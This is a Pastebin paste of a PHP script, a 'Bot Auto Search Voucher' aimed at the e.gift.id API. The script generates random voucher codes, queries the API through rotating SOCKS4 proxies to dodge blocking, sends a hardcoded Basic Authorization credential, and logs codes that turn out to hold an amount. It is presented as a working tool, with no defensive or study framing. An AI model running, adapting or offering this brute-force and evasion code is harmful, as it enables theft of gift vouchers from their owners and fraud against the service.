Advertisement
Guest User

2

a guest
Nov 18th, 2018
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.45 KB | None | 0 0
  1. <?php
  2. $headers = array();
  3. $headers[] = "Upgrade-Insecure-Requests: 1";
  4. $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36";
  5. $headers[] = "Connection: keep-alive";
  6. $headers[] = "Accept: application/json, text/plain, */*";
  7. $headers[] = "Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7";
  8. $headers[] = "Cookie: __cfduid=d91ca80891bc74213ccf2d51354e3b6cd1542347945";
  9. $headers[] = "If-None-Match: ^^e9ed713183286a0d2ba736b8bb2a8d9e^^\"\"";
  10. $headers[] = "If-Modified-Since: Mon, 12 Nov 2018 04:06:37 GMT";
  11. $headers[] = "Referer: https://e.gift.id/u/83f5vbm5bdb46";
  12. $headers[] = "Access-Control-Request-Method: GET";
  13. $headers[] = "Origin: https://e.gift.id";
  14. $headers[] = "Authority: api.gift.id";
  15. $headers[] = "Access-Control-Request-Headers: authorization";
  16. $headers[] = "Authorization: Basic VHRSczgwU2dEd0VjSVpMdnliZGRYS2RmaTpJWFVseHQ1cEdjNUZVRXZKY1JNdnpiTUFHanRHNk5nU0tYZm16SzBiUE1iVjhjcGVPUQ==";
  17. echo " Bot Auto Search Voucher E.GIFT.ID\n";
  18. echo " YarzCode - Meds\n\n";
  19. $socks = explode("\n", file_get_contents("24.txt"));
  20. $i=0;
  21. foreach($socks as $proxy)
  22. {
  23. while(true)
  24. {
  25. $code = "83".random()."46";
  26. $kirik = curl('https://api.gift.id/v1/egifts/detail_by_code/'.$code, null, $headers, $proxy);
  27. if(preg_match('/Access denied/', $kirik[0]))
  28. {
  29. break;
  30. continue;
  31. }
  32. $np = @json_decode($kirik[0]);
  33. if(!isJson($kirik[0])) {
  34. break;
  35. continue;
  36. } else if(empty(@$np->message))
  37. {
  38. if(@$np->status == 'used')
  39. {
  40. $status = 'Can use';
  41. } else {
  42. $status = 'Need activate';
  43. }
  44. $amount = @$np->amount;
  45. if(empty($amount))
  46. {
  47. echo "[$i] DIE => https://e.gift.id/u/{$code} [".$np->message."] ".PHP_EOL;
  48. } else {
  49. file_put_contents("logtada.txt", "\nhttps://e.gift.id/u/{$code} | Amount: {$amount} | Status: {$status}", FILE_APPEND);
  50. echo "[$i] LIVE => https://e.gift.id/u/{$code} [$amount] [$status]".PHP_EOL;
  51. }
  52. } else {
  53. echo "[$i] DIE => https://e.gift.id/u/{$code} [".@$np->message."] ".PHP_EOL;
  54. }
  55. $i++;
  56. }
  57. }
  58. function random($length = 9) {
  59. $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
  60. $charactersLength = strlen($characters);
  61. $randomString = '';
  62. for ($i = 0; $i < $length; $i++) {
  63. $randomString .= $characters[rand(0, $charactersLength - 1)];
  64. }
  65. return $randomString;
  66. }
  67. function isJson($string) {
  68. return ((is_string($string) &&
  69. (is_object(json_decode($string)) ||
  70. is_array(json_decode($string))))) ? true : false;
  71. }
  72. function curl($url, $fields = null, $headers = null, $proxy=null)
  73. {
  74. $ch = curl_init();
  75. curl_setopt($ch, CURLOPT_URL, $url);
  76. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  77. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  78. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  79. if ($fields !== null) {
  80. curl_setopt($ch, CURLOPT_POST, 1);
  81. curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
  82. }
  83. if ($headers !== null) {
  84. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  85. }
  86. if ($proxy !== null)
  87. {
  88. curl_setopt($ch, CURLOPT_PROXY, $proxy);
  89. curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS4);
  90. }
  91. $result = curl_exec($ch);
  92. $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  93. curl_close($ch);
  94.  
  95. return array(
  96. $result,
  97. $httpcode
  98. );
  99. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement